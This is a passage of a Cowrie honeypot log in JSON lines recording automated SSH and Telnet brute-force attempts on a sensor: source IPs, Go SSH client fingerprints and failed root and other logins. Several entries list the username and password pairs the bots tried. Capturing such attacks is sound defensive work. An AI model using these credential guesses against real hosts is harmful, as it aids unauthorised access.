28:aa:c0:08:ee:7b:e3:ed:d2:32:1d:fe:c5:ae:a9:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:41.775650Z","src_ip":"68.235.52.99","session":"786cad2427f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:aa:c0:08:ee:7b:e3:ed:d2:32:1d:fe:c5:ae:a9:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYdewCYo2s8jCvC//owI5jhLjGBckrVZdIy4nUDU00KlZorMGGY8blsp6QUR+Hueklr+ueofzbWKRrfrVFuVHjJGTXCfX7Ja7bcEKGLC0+d2yB0Xn2Xv82f8UmbMxy+dYXYE483hrL1vb8yTjMncBrr3BG6RZdlZjGOT8TkX8F8s38AEMjv95vrrnmZHuhu3t+y4RAl3FznOUMzAyyozGDELS9ZEr6dmKzFZpEL9axapBl2nxqfhjeqQqvYqiajpXyLiQ8Eri/Hk463VRALHQs4wmxiNghgwhGHklQyjr4XiL6UUWOdYRdKVKYv/XIMlbk+V3tK+Gvi93ZUU+7v0DT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:41.780174Z","src_ip":"68.235.52.99","session":"786cad2427f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:41.813169Z","src_ip":"68.235.52.99","session":"786cad2427f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.382556676864624,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:50.477451Z","src_ip":"50.6.8.71","session":"011eb5a78927","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":35802,"dst_ip":"159.203.135.109","dst_port":22,"session":"bea212c0e952","protocol":"ssh","message":"New connection: 62.133.63.178:35802 (159.203.135.109:22) [session: bea212c0e952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:53.242430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:53.246912Z","src_ip":"62.133.63.178","session":"bea212c0e952","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:53.371102Z","src_ip":"62.133.63.178","session":"bea212c0e952","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:53.747555Z","src_ip":"62.133.63.178","session":"bea212c0e952","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:10:54.874285Z","src_ip":"62.133.63.178","session":"bea212c0e952","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.395150899887085,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:11:02.252662Z","src_ip":"50.6.8.71","session":"8eb77b1b3a8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":45878,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc80122de94c","protocol":"telnet","message":"New connection: 23.94.28.189:45878 (10.17.0.5:23) [session: bc80122de94c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:11:22.007922Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":45396,"dst_ip":"10.17.0.5","dst_port":22,"session":"b58d2552cbdc","protocol":"ssh","message":"New connection: 103.176.20.57:45396 (10.17.0.5:22) [session: b58d2552cbdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:11:34.153668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:11:34.157693Z","src_ip":"103.176.20.57","session":"b58d2552cbdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:11:34.405334Z","src_ip":"103.176.20.57","session":"b58d2552cbdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pppppp","message":"login attempt [root/pppppp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:11:35.150749Z","src_ip":"103.176.20.57","session":"b58d2552cbdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:11:36.401229Z","src_ip":"103.176.20.57","session":"b58d2552cbdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":49882,"dst_ip":"159.203.135.109","dst_port":22,"session":"68940c12101a","protocol":"ssh","message":"New connection: 193.228.128.84:49882 (159.203.135.109:22) [session: 68940c12101a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:11:55.235713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:11:55.240930Z","src_ip":"193.228.128.84","session":"68940c12101a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:11:55.342965Z","src_ip":"193.228.128.84","session":"68940c12101a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4321rewq","message":"login attempt [root/4321rewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:11:55.649101Z","src_ip":"193.228.128.84","session":"68940c12101a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:11:56.754396Z","src_ip":"193.228.128.84","session":"68940c12101a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.9243266582489,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:00.932131Z","src_ip":"23.94.28.189","session":"bc80122de94c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":51270,"dst_ip":"10.17.0.5","dst_port":22,"session":"acc9e6568c7a","protocol":"ssh","message":"New connection: 109.172.54.111:51270 (10.17.0.5:22) [session: acc9e6568c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:08.073833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:08.082023Z","src_ip":"109.172.54.111","session":"acc9e6568c7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:08.178935Z","src_ip":"109.172.54.111","session":"acc9e6568c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"343434","message":"login attempt [root/343434] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:08.480286Z","src_ip":"109.172.54.111","session":"acc9e6568c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:09.579982Z","src_ip":"109.172.54.111","session":"acc9e6568c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.3.101.136","src_port":7141,"dst_ip":"10.17.0.5","dst_port":23,"session":"744f174062f8","protocol":"telnet","message":"New connection: 5.3.101.136:7141 (10.17.0.5:23) [session: 744f174062f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:10.217816Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":36626,"dst_ip":"159.203.135.109","dst_port":22,"session":"8baf07f4e66b","protocol":"ssh","message":"New connection: 176.32.39.21:36626 (159.203.135.109:22) [session: 8baf07f4e66b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:11.049695Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":51532,"dst_ip":"10.17.0.5","dst_port":22,"session":"f96b0b412b90","protocol":"ssh","message":"New connection: 185.236.22.41:51532 (10.17.0.5:22) [session: f96b0b412b90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:13.922718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:13.927547Z","src_ip":"185.236.22.41","session":"f96b0b412b90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:14.085561Z","src_ip":"185.236.22.41","session":"f96b0b412b90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soccer","message":"login attempt [root/soccer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:14.429405Z","src_ip":"185.236.22.41","session":"f96b0b412b90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:15.544602Z","src_ip":"185.236.22.41","session":"f96b0b412b90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.766188383102417,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:40.983854Z","src_ip":"5.3.101.136","session":"744f174062f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":44704,"dst_ip":"159.203.135.109","dst_port":22,"session":"df6d98d167f6","protocol":"ssh","message":"New connection: 80.94.92.184:44704 (159.203.135.109:22) [session: df6d98d167f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:40.988982Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:41.644620Z","src_ip":"80.94.92.184","session":"df6d98d167f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:41.648131Z","src_ip":"80.94.92.184","session":"df6d98d167f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":47052,"dst_ip":"10.17.0.5","dst_port":23,"session":"0173938eb7b7","protocol":"telnet","message":"New connection: 50.6.8.71:47052 (10.17.0.5:23) [session: 0173938eb7b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:42.277862Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:42.776678Z","src_ip":"80.94.92.184","session":"df6d98d167f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:43.955924Z","src_ip":"80.94.92.184","session":"df6d98d167f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":56414,"dst_ip":"10.17.0.5","dst_port":22,"session":"7017181210c1","protocol":"ssh","message":"New connection: 103.153.68.219:56414 (10.17.0.5:22) [session: 7017181210c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:52.424648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:52.429723Z","src_ip":"103.153.68.219","session":"7017181210c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:52.680570Z","src_ip":"103.153.68.219","session":"7017181210c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"demon666","message":"login attempt [root/demon666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:53.423372Z","src_ip":"103.153.68.219","session":"7017181210c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:12:54.673874Z","src_ip":"103.153.68.219","session":"7017181210c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.99.235","src_port":38590,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbbf06427ff0","protocol":"ssh","message":"New connection: 51.79.99.235:38590 (10.17.0.5:22) [session: dbbf06427ff0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T23:13:02.794197Z"}
